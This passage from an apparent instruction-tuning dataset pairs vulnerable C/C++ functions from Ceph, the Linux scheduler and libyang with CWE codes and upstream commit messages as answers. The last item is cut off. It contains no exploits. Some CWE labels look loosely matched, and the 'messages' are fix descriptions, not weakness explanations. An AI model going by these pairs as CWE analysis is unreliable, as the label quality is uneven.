corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: size_t recv_body(char* buf, size_t max) override {\n auto& message = parser.get();\n auto& body_remaining = message.body();\n body_remaining.data = buf;\n body_remaining.size = max;\n\n while (body_remaining.size && !parser.is_done()) {\n boost::system::error_code ec;\n http::async_read_some(stream, buffer, parser, yield[ec]);\n if (ec == http::error::partial_message ||\n ec == http::error::need_buffer) {\n break;\n }\n if (ec) {\n ldout(cct, 4) << \"failed to read body: \" << ec.message() << dendl;\n throw rgw::io::Exception(ec.value(), std::system_category());\n }\n }\n return max - body_remaining.size;\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': 'rgw: improve beast\n\nAvoid leaking connections that had partially-consumed\nclient data on unexpected disconnect.\n\nResolves CVE-2020-1700 (moderate impact flaw).\n\nFixes: https://tracker.ceph.com/issues/42531\n\nSigned-off-by: Or Friedmann \nSigned-off-by: Matt Benjamin '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void do_sched_cfs_slack_timer(struct cfs_bandwidth *cfs_b)\n{\n\tu64 runtime = 0, slice = sched_cfs_bandwidth_slice();\n\tunsigned long flags;\n\tu64 expires;\n\n\t/* confirm we're still not at a refresh boundary */\n\traw_spin_lock_irqsave(&cfs_b->lock, flags);\n\tcfs_b->slack_started = false;\n\tif (cfs_b->distribute_running) {\n\t\traw_spin_unlock_irqrestore(&cfs_b->lock, flags);\n\t\treturn;\n\t}\n\n\tif (runtime_refresh_within(cfs_b, min_bandwidth_expiration)) {\n\t\traw_spin_unlock_irqrestore(&cfs_b->lock, flags);\n\t\treturn;\n\t}\n\n\tif (cfs_b->quota != RUNTIME_INF && cfs_b->runtime > slice)\n\t\truntime = cfs_b->runtime;\n\n\texpires = cfs_b->runtime_expires;\n\tif (runtime)\n\t\tcfs_b->distribute_running = 1;\n\n\traw_spin_unlock_irqrestore(&cfs_b->lock, flags);\n\n\tif (!runtime)\n\t\treturn;\n\n\truntime = distribute_cfs_runtime(cfs_b, runtime, expires);\n\n\traw_spin_lock_irqsave(&cfs_b->lock, flags);\n\tif (expires == cfs_b->runtime_expires)\n\t\tlsub_positive(&cfs_b->runtime, runtime);\n\tcfs_b->distribute_running = 0;\n\traw_spin_unlock_irqrestore(&cfs_b->lock, flags);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400', 'CWE-703'], 'message': 'sched/fair: Fix low cpu usage with high throttling by removing expiration of cpu-local slices\n\nIt has been observed, that highly-threaded, non-cpu-bound applications\nrunning under cpu.cfs_quota_us constraints can hit a high percentage of\nperiods throttled while simultaneously not consuming the allocated\namount of quota. This use case is typical of user-interactive non-cpu\nbound applications, such as those running in kubernetes or mesos when\nrun on multiple cpu cores.\n\nThis has been root caused to cpu-local run queue being allocated per cpu\nbandwidth slices, and then not fully using that slice within the period.\nAt which point the slice and quota expires. This expiration of unused\nslice results in applications not being able to utilize the quota for\nwhich they are allocated.\n\nThe non-expiration of per-cpu slices was recently fixed by\n'commit 512ac999d275 (\"sched/fair: Fix bandwidth timer clock drift\ncondition\")'. Prior to that it appears that this had been broken since\nat least 'commit 51f2176d74ac (\"sched/fair: Fix unlocked reads of some\ncfs_b->quota/period\")' which was introduced in v3.16-rc1 in 2014. That\nadded the following conditional which resulted in slices never being\nexpired.\n\nif (cfs_rq->runtime_expires != cfs_b->runtime_expires) {\n\t/* extend local deadline, drift is bounded above by 2 ticks */\n\tcfs_rq->runtime_expires += TICK_NSEC;\n\nBecause this was broken for nearly 5 years, and has recently been fixed\nand is now being noticed by many users running kubernetes\n(https://github.com/kubernetes/kubernetes/issues/67577) it is my opinion\nthat the mechanisms around expiring runtime should be removed\naltogether.\n\nThis allows quota already allocated to per-cpu run-queues to live longer\nthan the period boundary. This allows threads on runqueues that do not\nuse much CPU to continue to use their remaining slice over a longer\nperiod of time than cpu.cfs_period_us. However, this helps prevent the\nabove condition of hitting throttling while also not fully utilizing\nyour cpu quota.\n\nThis theoretically allows a machine to use slightly more than its\nallotted quota in some periods. This overflow would be bounded by the\nremaining quota left on each per-cpu runqueueu. This is typically no\nmore than min_cfs_rq_runtime=1ms per cpu. For CPU bound tasks this will\nchange nothing, as they should theoretically fully utilize all of their\nquota in each period. For user-interactive tasks as described above this\nprovides a much better user/application experience as their cpu\nutilization will more closely match the amount they requested when they\nhit throttling. This means that cpu limits no longer strictly apply per\nperiod for non-cpu bound applications, but that they are still accurate\nover longer timeframes.\n\nThis greatly improves performance of high-thread-count, non-cpu bound\napplications with low cfs_quota_us allocation on high-core-count\nmachines. In the case of an artificial testcase (10ms/100ms of quota on\n80 CPU machine), this commit resulted in almost 30x performance\nimprovement, while still maintaining correct cpu quota restrictions.\nThat testcase is available at https://github.com/indeedeng/fibtest.\n\nFixes: 512ac999d275 (\"sched/fair: Fix bandwidth timer clock drift condition\")\nSigned-off-by: Dave Chiluk \nSigned-off-by: Peter Zijlstra (Intel) \nReviewed-by: Phil Auld \nReviewed-by: Ben Segall \nCc: Ingo Molnar \nCc: John Hammond \nCc: Jonathan Corbet \nCc: Kyle Anderson \nCc: Gabriel Munos \nCc: Peter Oskolkov \nCc: Cong Wang \nCc: Brendan Gregg \nLink: https://lkml.kernel.org/r/1563900266-19734-2-git-send-email-chiluk+linux@indeed.com'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: lyd_new(struct lyd_node *parent, const struct lys_module *module, const char *name)\n{\n const struct lys_node *snode = NULL, *siblings;\n\n if ((!parent && !module) || !name) {\n LOGARG;\n return NULL;\n }\n\n siblings = lyd_new_find_schema(parent, module, 0);\n if (!siblings) {\n LOGARG;\n return NULL;\n }\n\n if (lys_getnext_data(module, lys_parent(siblings), name, strlen(name), LYS_CONTAINER | LYS_LIST | LYS_NOTIF\n | LYS_RPC | LYS_ACTION, &snode) || !snode) {\n LOGERR(siblings->module->ctx, LY_EINVAL, \"Failed to find \\\"%s\\\" as a sibling to \\\"%s:%s\\\".\",\n name, lys_node_module(siblings)->name, siblings->name);\n return NULL;\n }\n\n return _lyd_new(parent, snode, 0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'schema tree BUGFIX do not check features while still resolving schema\n\nFixes #723'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int\nyyparse (void *scanner, struct yang_parameter *param)\n{\n/* The lookahead symbol. */\nint yychar;\nchar *s = NULL, *tmp_s = NULL, *ext_name = NULL;\nstruct lys_module *trg = NULL;\nstruct lys_node *tpdf_parent = NULL, *data_node = NULL;\nstruct lys_ext_instance_complex *ext_instance = NULL;\nint is_ext_instance;\nvoid *actual = NULL;\nenum yytokentype backup_type, actual_type = MODULE_KEYWORD;\nint64_t cnt_val = 0;\nint is_value = 0;\nvoid *yang_type = NULL;\n\n\n/* The semantic value of the lookahead symbol. */\n/* Default value used for initialization, for pacifying older GCCs\n or non-GCC compilers. */\nYY_INITIAL_VALUE (static YYSTYPE yyval_default;)\nYYSTYPE yylval YY_INITIAL_VALUE (= yyval_default);\n\n/* Location data for the lookahead symbol. */\nstatic YYLTYPE yyloc_default\n# if defined YYLTYPE_IS_TRIVIAL && YYLTYPE_IS_TRIVIAL\n = { 1, 1, 1, 1 }\n# endif\n;\nYYLTYPE yylloc = yyloc_default;\n\n /* Number of syntax errors so far. */\n int yynerrs;\n\n int yystate;\n /* Number of tokens to shift before error messages enabled. */\n int yyerrstatus;\n\n /* The stacks and their tools:\n 'yyss': related to states.\n 'yyvs': related to semantic values.\n 'yyls': related to locations.\n\n Refer to the stacks through separate pointers, to allow yyoverflow\n to reallocate them elsewhere. */\n\n /* The state stack. */\n yytype_int16 yyssa[YYINITDEPTH];\n yytype_int16 *yyss;\n yytype_int16 *yyssp;\n\n /* The semantic value stack. */\n YYSTYPE yyvsa[YYINITDEPTH];\n YYSTYPE *yyvs;\n YYSTYPE *yyvsp;\n\n /* The location stack. */\n YYLTYPE yylsa[YYINITDEPTH];\n YYLTYPE *yyls;\n YYLTYPE *yylsp;\n\n /* The locations where the error started and ended. */\n YYLTYPE yyerror_range[3];\n\n YYSIZE_T yystacksize;\n\n int yyn;\n int yyresult;\n /* Lookahead token as an internal (translated) token number. */\n int yytoken = 0;\n /* The variables used to return semantic value and location from the\n action routines. */\n YYSTYPE yyval;\n YYLTYPE yyloc;\n\n#if YYERROR_VERBOSE\n /* Buffer for error messages, and its allocated size. */\n char yymsgbuf[128];\n char *yymsg = yymsgbuf;\n YYSIZE_T yymsg_alloc = sizeof yymsgbuf;\n#endif\n\n#define YYPOPSTACK(N) (yyvsp -= (N), yyssp -= (N), yylsp -= (N))\n\n /* The number of symbols on the RHS of the reduced rule.\n Keep to zero when no symbol should be popped. */\n int yylen = 0;\n\n yyssp = yyss = yyssa;\n yyvsp = yyvs = yyvsa;\n yylsp = yyls = yylsa;\n yystacksize = YYINITDEPTH;\n\n YYDPRINTF ((stderr, \"Starting parse\\n\"));\n\n yystate = 0;\n yyerrstatus = 0;\n yynerrs = 0;\n yychar = YYEMPTY; /* Cause a token to be read. */\n\n/* User initialization code. */\n\n{ yylloc.last_column = 0;\n if (param->flags & EXT_INSTANCE_SUBSTMT) {\n is_ext_instance = 1;\n ext_instance = (struct lys_ext_instance_complex *)param->actual_node;\n ext_name = (char *)param->data_node;\n } else {\n is_ext_instance = 0;\n }\n yylloc.last_line = is_ext_instance; /* HACK for flex - return SUBMODULE_KEYWORD or SUBMODULE_EXT_KEYWORD */\n param->value = &s;\n param->data_node = (void **)&data_node;\n param->actual_node = &actual;\n backup_type = NODE;\n trg = (param->submodule) ? (struct lys_module *)param->submodule : param->module;\n }\n\n\n yylsp[0] = yylloc;\n goto yysetstate;\n\n/*------------------------------------------------------------.\n| yynewstate -- Push a new state, which is found in yystate. |\n`------------------------------------------------------------*/\n yynewstate:\n /* In all cases, when you get here, the value and location stacks\n have just been pushed. So pushing a state here evens the stacks. */\n yyssp++;\n\n yysetstate:\n *yyssp = (yytype_int16) yystate;\n\n if (yyss + yystacksize - 1 <= yyssp)\n {\n /* Get the current used size of the three stacks, in elements. */\n YYSIZE_T yysize = (YYSIZE_T) (yyssp - yyss + 1);\n\n#ifdef yyoverflow\n {\n /* Give user a chance to reallocate the stack. Use copies of\n these so that the &'s don't force the real ones into\n memory. */\n YYSTYPE *yyvs1 = yyvs;\n yytype_int16 *yyss1 = yyss;\n YYLTYPE *yyls1 = yyls;\n\n /* Each stack pointer address is followed by the size of the\n data in use in that stack, in bytes. This used to be a\n conditional around just the two extra args, but that might\n be undefined if yyoverflow is a macro. */\n yyoverflow (YY_(\"memory exhausted\"),\n &yyss1, yysize * sizeof (*yyssp),\n &yyvs1, yysize * sizeof (*yyvsp),\n &yyls1, yysize * sizeof (*yylsp),\n &yystacksize);\n yyss = yyss1;\n yyvs = yyvs1;\n yyls = yyls1;\n }\n#else /* no yyoverflow */\n# ifndef YYSTACK_RELOCATE\n goto yyexhaustedlab;\n# else\n /* Extend the stack our own way. */\n if (YYMAXDEPTH <= yystacksize)\n goto yyexhaustedlab;\n yystacksize *= 2;\n if (YYMAXDEPTH < yystacksize)\n yystacksize = YYMAXDEPTH;\n\n {\n yytype_int16 *yyss1 = yyss;\n union yyalloc *yyptr =\n (union yyalloc *) YYSTACK_ALLOC (YYSTACK_BYTES (yystacksize));\n if (! yyptr)\n goto yyexhaustedlab;\n YYSTACK_RELOCATE (yyss_alloc, yyss);\n YYSTACK_RELOCATE (yyvs_alloc, yyvs);\n YYSTACK_RELOCATE (yyls_alloc, yyls);\n# undef YYSTACK_RELOCATE\n if (yyss1 != yyssa)\n YYSTACK_FREE (yyss1);\n }\n# endif\n#endif /* no yyoverflow */\n\n yyssp = yyss + yysize - 1;\n yyvsp = yyvs + yysize - 1;\n yylsp = yyls + yysize - 1;\n\n YYDPRINTF ((stderr, \"Stack size increased to %lu\\n\",\n (unsigned long) yystacksize));\n\n if (yyss + yystacksize - 1 <= yyssp)\n YYABORT;\n }\n\n YYDPRINTF ((stderr, \"Entering state %d\\n\", yystate));\n\n if (yystate == YYFINAL)\n YYACCEPT;\n\n goto yybackup;\n\n/*-----------.\n| yybackup. |\n`-----------*/\nyybackup:\n\n /* Do appropriate processing given the current state. Read a\n lookahead token if we need one and don't already have one. */\n\n /* First try to decide what to do without reference to lookahead token. */\n yyn = yypact[yystate];\n if (yypact_value_is_default (yyn))\n goto yydefault;\n\n /* Not known => get a lookahead token if don't already have one. */\n\n /* YYCHAR is either YYEMPTY or YYEOF or a valid lookahead symbol. */\n if (yychar == YYEMPTY)\n {\n YYDPRINTF ((stderr, \"Reading a token: \"));\n yychar = yylex (&yylval, &yylloc, scanner);\n }\n\n if (yychar <= YYEOF)\n {\n yychar = yytoken = YYEOF;\n YYDPRINTF ((stderr, \"Now at end of input.\\n\"));\n }\n else\n {\n yytoken = YYTRANSLATE (yychar);\n YY_SYMBOL_PRINT (\"Next token is\", yytoken, &yylval, &yylloc);\n }\n\n /* If the proper action on seeing token YYTOKEN is to reduce or to\n detect an error, take that action. */\n yyn += yytoken;\n if (yyn < 0 || YYLAST < yyn || yycheck[yyn] != yytoken)\n goto yydefault;\n yyn = yytable[yyn];\n if (yyn <= 0)\n {\n if (yytable_value_is_error (yyn))\n goto yyerrlab;\n yyn = -yyn;\n goto yyreduce;\n }\n\n /* Count tokens shifted since error; after three, turn off error\n status. */\n if (yyerrstatus)\n yyerrstatus--;\n\n /* Shift the lookahead token. */\n YY_SYMBOL_PRINT (\"Shifting\", yytoken, &yylval, &yylloc);\n\n /* Discard the shifted token. */\n yychar = YYEMPTY;\n\n yystate = yyn;\n YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN\n *++yyvsp = yylval;\n YY_IGNORE_MAYBE_UNINITIALIZED_END\n *++yylsp = yylloc;\n goto yynewstate;\n\n\n/*-----------------------------------------------------------.\n| yydefault -- do the default action for the current state. |\n`-----------------------------------------------------------*/\nyydefault:\n yyn = yydefact[yystate];\n if (yyn == 0)\n goto yyerrlab;\n goto yyreduce;\n\n\n/*-----------------------------.\n| yyreduce -- Do a reduction. |\n`-----------------------------*/\nyyreduce:\n /* yyn is the number of a rule to reduce with. */\n yylen = yyr2[yyn];\n\n /* If YYLEN is nonzero, implement the default value of the action:\n '$$ = $1'.\n\n Otherwise, the following line sets YYVAL to garbage.\n This behavior is undocumented and Bison\n users should not rely upon it. Assigning to YYVAL\n unconditionally makes the parser a bit smaller, and it avoids a\n GCC warning that YYVAL may be used uninitialized. */\n yyval = yyvsp[1-yylen];\n\n /* Default location. */\n YYLLOC_DEFAULT (yyloc, (yylsp - yylen), yylen);\n yyerror_range[1] = yyloc;\n YY_REDUCE_PRINT (yyn);\n switch (yyn)\n {\n case 5:\n\n { if (yyget_text(scanner)[0] == '\"') {\n char *tmp;\n\n s = malloc(yyget_leng(scanner) - 1 + 7 * yylval.i);\n if (!s) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n if (!(tmp = yang_read_string(trg->ctx, yyget_text(scanner) + 1, s, yyget_leng(scanner) - 2, 0, yylloc.first_column))) {\n YYABORT;\n }\n s = tmp;\n } else {\n s = calloc(1, yyget_leng(scanner) - 1);\n if (!s) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n memcpy(s, yyget_text(scanner) + 1, yyget_leng(scanner) - 2);\n }\n (yyval.p_str) = &s;\n }\n\n break;\n\n case 8:\n\n { if (yyget_leng(scanner) > 2) {\n int length_s = strlen(s), length_tmp = yyget_leng(scanner);\n char *tmp;\n\n tmp = realloc(s, length_s + length_tmp - 1);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n s = tmp;\n if (yyget_text(scanner)[0] == '\"') {\n if (!(tmp = yang_read_string(trg->ctx, yyget_text(scanner) + 1, s, length_tmp - 2, length_s, yylloc.first_column))) {\n YYABORT;\n }\n s = tmp;\n } else {\n memcpy(s + length_s, yyget_text(scanner) + 1, length_tmp - 2);\n s[length_s + length_tmp - 2] = '\\0';\n }\n }\n }\n\n break;\n\n case 10:\n\n { if (param->submodule) {\n free(s);\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_NONE, NULL, \"module\");\n YYABORT;\n }\n trg = param->module;\n yang_read_common(trg,s,MODULE_KEYWORD);\n s = NULL;\n actual_type = MODULE_KEYWORD;\n }\n\n break;\n\n case 12:\n\n { if (!param->module->ns) {\n LOGVAL(trg->ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, \"namespace\", \"module\");\n YYABORT;\n }\n if (!param->module->prefix) {\n LOGVAL(trg->ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, \"prefix\", \"module\");\n YYABORT;\n }\n }\n\n break;\n\n case 13:\n\n { (yyval.i) = 0; }\n\n break;\n\n case 14:\n\n { if (yang_check_version(param->module, param->submodule, s, (yyvsp[-1].i))) {\n YYABORT;\n }\n (yyval.i) = 1;\n s = NULL;\n }\n\n break;\n\n case 15:\n\n { if (yang_read_common(param->module, s, NAMESPACE_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 16:\n\n { if (yang_read_prefix(trg, NULL, s)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 17:\n\n { if (!param->submodule) {\n free(s);\n LOGVAL(trg->ctx, LYE_SUBMODULE, LY_VLOG_NONE, NULL);\n YYABORT;\n }\n trg = (struct lys_module *)param->submodule;\n yang_read_common(trg,s,MODULE_KEYWORD);\n s = NULL;\n actual_type = SUBMODULE_KEYWORD;\n }\n\n break;\n\n case 19:\n\n { if (!param->submodule->prefix) {\n LOGVAL(trg->ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, \"belongs-to\", \"submodule\");\n YYABORT;\n }\n if (!(yyvsp[0].i)) {\n /* check version compatibility with the main module */\n if (param->module->version > 1) {\n LOGVAL(trg->ctx, LYE_INVER, LY_VLOG_NONE, NULL);\n YYABORT;\n }\n }\n }\n\n break;\n\n case 20:\n\n { (yyval.i) = 0; }\n\n break;\n\n case 21:\n\n { if (yang_check_version(param->module, param->submodule, s, (yyvsp[-1].i))) {\n YYABORT;\n }\n (yyval.i) = 1;\n s = NULL;\n }\n\n break;\n\n case 23:\n\n { backup_type = actual_type;\n actual_type = YANG_VERSION_KEYWORD;\n }\n\n break;\n\n case 25:\n\n { backup_type = actual_type;\n actual_type = NAMESPACE_KEYWORD;\n }\n\n break;\n\n case 30:\n\n { actual_type = (yyvsp[-4].token);\n backup_type = NODE;\n actual = NULL;\n }\n\n break;\n\n case 31:\n\n { YANG_ADDELEM(trg->imp, trg->imp_size, \"imports\");\n /* HACK for unres */\n ((struct lys_import *)actual)->module = (struct lys_module *)s;\n s = NULL;\n (yyval.token) = actual_type;\n actual_type = IMPORT_KEYWORD;\n }\n\n break;\n\n case 32:\n\n { (yyval.i) = 0; }\n\n break;\n\n case 33:\n\n { if (yang_read_prefix(trg, actual, s)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 34:\n\n { if (trg->version != 2) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_NONE, NULL, \"description\");\n free(s);\n YYABORT;\n }\n if (yang_read_description(trg, actual, s, \"import\", IMPORT_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n (yyval.i) = (yyvsp[-1].i);\n }\n\n break;\n\n case 35:\n\n { if (trg->version != 2) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_NONE, NULL, \"reference\");\n free(s);\n YYABORT;\n }\n if (yang_read_reference(trg, actual, s, \"import\", IMPORT_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n (yyval.i) = (yyvsp[-1].i);\n }\n\n break;\n\n case 36:\n\n { if ((yyvsp[-1].i)) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"revision-date\", \"import\");\n free(s);\n YYABORT;\n }\n memcpy(((struct lys_import *)actual)->rev, s, LY_REV_SIZE-1);\n free(s);\n s = NULL;\n (yyval.i) = 1;\n }\n\n break;\n\n case 37:\n\n { YANG_ADDELEM(trg->inc, trg->inc_size, \"includes\");\n /* HACK for unres */\n ((struct lys_include *)actual)->submodule = (struct lys_submodule *)s;\n s = NULL;\n (yyval.token) = actual_type;\n actual_type = INCLUDE_KEYWORD;\n }\n\n break;\n\n case 38:\n\n { actual_type = (yyvsp[-1].token);\n backup_type = NODE;\n actual = NULL;\n }\n\n break;\n\n case 41:\n\n { (yyval.i) = 0; }\n\n break;\n\n case 42:\n\n { if (trg->version != 2) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_NONE, NULL, \"description\");\n free(s);\n YYABORT;\n }\n if (yang_read_description(trg, actual, s, \"include\", INCLUDE_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n (yyval.i) = (yyvsp[-1].i);\n }\n\n break;\n\n case 43:\n\n { if (trg->version != 2) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_NONE, NULL, \"reference\");\n free(s);\n YYABORT;\n }\n if (yang_read_reference(trg, actual, s, \"include\", INCLUDE_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n (yyval.i) = (yyvsp[-1].i);\n }\n\n break;\n\n case 44:\n\n { if ((yyvsp[-1].i)) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"revision-date\", \"include\");\n free(s);\n YYABORT;\n }\n memcpy(((struct lys_include *)actual)->rev, s, LY_REV_SIZE-1);\n free(s);\n s = NULL;\n (yyval.i) = 1;\n }\n\n break;\n\n case 45:\n\n { backup_type = actual_type;\n actual_type = REVISION_DATE_KEYWORD;\n }\n\n break;\n\n case 47:\n\n { (yyval.token) = actual_type;\n if (is_ext_instance) {\n if (yang_read_extcomplex_str(trg, ext_instance, \"belongs-to\", ext_name, s,\n 0, LY_STMT_BELONGSTO)) {\n YYABORT;\n }\n } else {\n if (param->submodule->prefix) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"belongs-to\", \"submodule\");\n free(s);\n YYABORT;\n }\n if (!ly_strequal(s, param->submodule->belongsto->name, 0)) {\n LOGVAL(trg->ctx, LYE_INARG, LY_VLOG_NONE, NULL, s, \"belongs-to\");\n free(s);\n YYABORT;\n }\n free(s);\n }\n s = NULL;\n actual_type = BELONGS_TO_KEYWORD;\n }\n\n break;\n\n case 48:\n\n { if (is_ext_instance) {\n if (yang_read_extcomplex_str(trg, ext_instance, \"prefix\", \"belongs-to\", s,\n LY_STMT_BELONGSTO, LY_STMT_PREFIX)) {\n YYABORT;\n }\n } else {\n if (yang_read_prefix(trg, NULL, s)) {\n YYABORT;\n }\n }\n s = NULL;\n actual_type = (yyvsp[-4].token);\n }\n\n break;\n\n case 49:\n\n { backup_type = actual_type;\n actual_type = PREFIX_KEYWORD;\n }\n\n break;\n\n case 52:\n\n { if (yang_read_common(trg, s, ORGANIZATION_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 53:\n\n { if (yang_read_common(trg, s, CONTACT_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 54:\n\n { if (yang_read_description(trg, NULL, s, NULL, MODULE_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 55:\n\n { if (yang_read_reference(trg, NULL, s, NULL, MODULE_KEYWORD)) {\n YYABORT;\n }\n s=NULL;\n }\n\n break;\n\n case 56:\n\n { backup_type = actual_type;\n actual_type = ORGANIZATION_KEYWORD;\n }\n\n break;\n\n case 58:\n\n { backup_type = actual_type;\n actual_type = CONTACT_KEYWORD;\n }\n\n break;\n\n case 60:\n\n { backup_type = actual_type;\n actual_type = DESCRIPTION_KEYWORD;\n }\n\n break;\n\n case 62:\n\n { backup_type = actual_type;\n actual_type = REFERENCE_KEYWORD;\n }\n\n break;\n\n case 64:\n\n { if (trg->rev_size) {\n struct lys_revision *tmp;\n\n tmp = realloc(trg->rev, trg->rev_size * sizeof *trg->rev);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n trg->rev = tmp;\n }\n }\n\n break;\n\n case 65:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!is_ext_instance) {\n YANG_ADDELEM(trg->rev, trg->rev_size, \"revisions\");\n }\n memcpy(((struct lys_revision *)actual)->date, s, LY_REV_SIZE);\n free(s);\n s = NULL;\n actual_type = REVISION_KEYWORD;\n }\n\n break;\n\n case 67:\n\n { int i;\n\n /* check uniqueness of the revision date - not required by RFC */\n for (i = 0; i < (trg->rev_size - 1); i++) {\n if (!strcmp(trg->rev[i].date, trg->rev[trg->rev_size - 1].date)) {\n LOGWRN(trg->ctx, \"Module's revisions are not unique (%s).\",\n trg->rev[trg->rev_size - 1].date);\n break;\n }\n }\n }\n\n break;\n\n case 68:\n\n { actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 72:\n\n { if (yang_read_description(trg, actual, s, \"revision\",REVISION_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 73:\n\n { if (yang_read_reference(trg, actual, s, \"revision\", REVISION_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 74:\n\n { s = strdup(yyget_text(scanner));\n if (!s) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n if (lyp_check_date(trg->ctx, s)) {\n free(s);\n YYABORT;\n }\n }\n\n break;\n\n case 76:\n\n { if (lyp_check_date(trg->ctx, s)) {\n free(s);\n YYABORT;\n }\n }\n\n break;\n\n case 77:\n\n { void *tmp;\n\n if (trg->tpdf_size) {\n tmp = realloc(trg->tpdf, trg->tpdf_size * sizeof *trg->tpdf);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n trg->tpdf = tmp;\n }\n\n if (trg->features_size) {\n tmp = realloc(trg->features, trg->features_size * sizeof *trg->features);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n trg->features = tmp;\n }\n\n if (trg->ident_size) {\n tmp = realloc(trg->ident, trg->ident_size * sizeof *trg->ident);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n trg->ident = tmp;\n }\n\n if (trg->augment_size) {\n tmp = realloc(trg->augment, trg->augment_size * sizeof *trg->augment);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n trg->augment = tmp;\n }\n\n if (trg->extensions_size) {\n tmp = realloc(trg->extensions, trg->extensions_size * sizeof *trg->extensions);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n trg->extensions = tmp;\n }\n }\n\n break;\n\n case 78:\n\n { /* check the module with respect to the context now */\n if (!param->submodule) {\n switch (lyp_ctx_check_module(trg)) {\n case -1:\n YYABORT;\n case 0:\n break;\n case 1:\n /* it's already there */\n param->flags |= YANG_EXIST_MODULE;\n YYABORT;\n }\n }\n param->flags &= (~YANG_REMOVE_IMPORT);\n if (yang_check_imports(trg, param->unres)) {\n YYABORT;\n }\n actual = NULL;\n }\n\n break;\n\n case 79:\n\n { actual = NULL; }\n\n break;\n\n case 90:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n YANG_ADDELEM(trg->extensions, trg->extensions_size, \"extensions\");\n trg->extensions_size--;\n ((struct lys_ext *)actual)->name = lydict_insert_zc(param->module->ctx, s);\n ((struct lys_ext *)actual)->module = trg;\n if (lyp_check_identifier(trg->ctx, ((struct lys_ext *)actual)->name, LY_IDENT_EXTENSION, trg, NULL)) {\n trg->extensions_size++;\n YYABORT;\n }\n trg->extensions_size++;\n s = NULL;\n actual_type = EXTENSION_KEYWORD;\n }\n\n break;\n\n case 91:\n\n { struct lys_ext *ext = actual;\n ext->plugin = ext_get_plugin(ext->name, ext->module->name, ext->module->rev ? ext->module->rev[0].date : NULL);\n actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 96:\n\n { if (((struct lys_ext *)actual)->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"status\", \"extension\");\n YYABORT;\n }\n ((struct lys_ext *)actual)->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 97:\n\n { if (yang_read_description(trg, actual, s, \"extension\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 98:\n\n { if (yang_read_reference(trg, actual, s, \"extension\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 99:\n\n { (yyval.token) = actual_type;\n if (is_ext_instance) {\n if (yang_read_extcomplex_str(trg, ext_instance, \"argument\", ext_name, s,\n 0, LY_STMT_ARGUMENT)) {\n YYABORT;\n }\n } else {\n if (((struct lys_ext *)actual)->argument) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"argument\", \"extension\");\n free(s);\n YYABORT;\n }\n ((struct lys_ext *)actual)->argument = lydict_insert_zc(param->module->ctx, s);\n }\n s = NULL;\n actual_type = 